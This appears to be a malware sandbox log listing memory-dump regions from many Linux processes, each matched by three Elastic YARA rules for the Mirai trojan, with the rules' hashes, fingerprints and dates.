Source: 7398.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7092.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7092.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7092.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7253.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7429.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7429.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7429.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6574.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6574.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6574.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6956.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6956.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6956.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7142.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7142.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7142.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7167.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7167.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7167.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6549.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6549.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6549.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6707.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6707.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6707.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6848.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6848.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6848.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7334.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7334.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7334.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6680.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6680.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6680.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7049.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7049.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7049.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6901.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6901.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6901.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7300.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7300.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7300.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6883.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6883.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6883.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6791.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6791.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6791.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7301.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
